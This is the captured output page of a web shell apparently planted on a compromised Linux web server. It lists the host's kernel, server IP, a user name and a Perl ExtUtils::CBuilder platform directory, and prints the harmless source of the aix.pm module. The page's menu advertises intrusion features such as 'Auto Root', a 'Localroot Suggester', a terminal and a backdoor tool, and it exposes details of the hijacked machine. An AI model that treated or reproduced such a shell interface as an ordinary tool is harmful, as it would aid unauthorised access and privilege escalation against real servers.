Linux newlinux5.pouyasazan.org 3.10.0-962.3.2.lve1.5.60.el7.x86_64 #1 SMP Fri Jul 23 07:07:00 EDT 2021 x86_64
LiteSpeed
Server IP : 88.99.66.243 & Your IP : 216.73.216.178
Domains :
Cant Read [ /etc/named.conf ]
User : wdbbsgxf
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
ExtUtils /
CBuilder /
Platform /
Delete
Unzip
Name
Size
Permission
Date
Action
Windows
[ DIR ]
drwxr-xr-x
2026-02-03 06:51
Unix.pm
1.02
KB
-rw-r--r--
2026-01-13 18:14
VMS.pm
10.75
KB
-rw-r--r--
2026-01-13 18:14
Windows.pm
8.83
KB
-rw-r--r--
2026-01-13 18:14
aix.pm
621
B
-rw-r--r--
2026-01-13 18:14
cygwin.pm
928
B
-rw-r--r--
2026-01-13 18:14
darwin.pm
516
B
-rw-r--r--
2026-01-13 18:14
dec_osf.pm
424
B
-rw-r--r--
2026-01-13 18:14
os2.pm
2.67
KB
-rw-r--r--
2026-01-13 18:14
Save
Rename
package ExtUtils::CBuilder::Platform::aix; use strict; use ExtUtils::CBuilder::Platform::Unix; use File::Spec; use vars qw($VERSION @ISA); $VERSION = '0.280206'; @ISA = qw(ExtUtils::CBuilder::Platform::Unix); sub need_prelink { 1 } sub link { my ($self, %args) = @_; my $cf = $self->{config}; (my $baseext = $args{module_name}) =~ s/.*:://; my $perl_inc = $self->perl_inc(); # Massage some very naughty bits in %Config local $cf->{lddlflags} = $cf->{lddlflags}; for ($cf->{lddlflags}) { s/\Q$(BASEEXT)\E/$baseext/; s/\Q$(PERL_INC)\E/$perl_inc/; } return $self->SUPER::link(%args); } 1;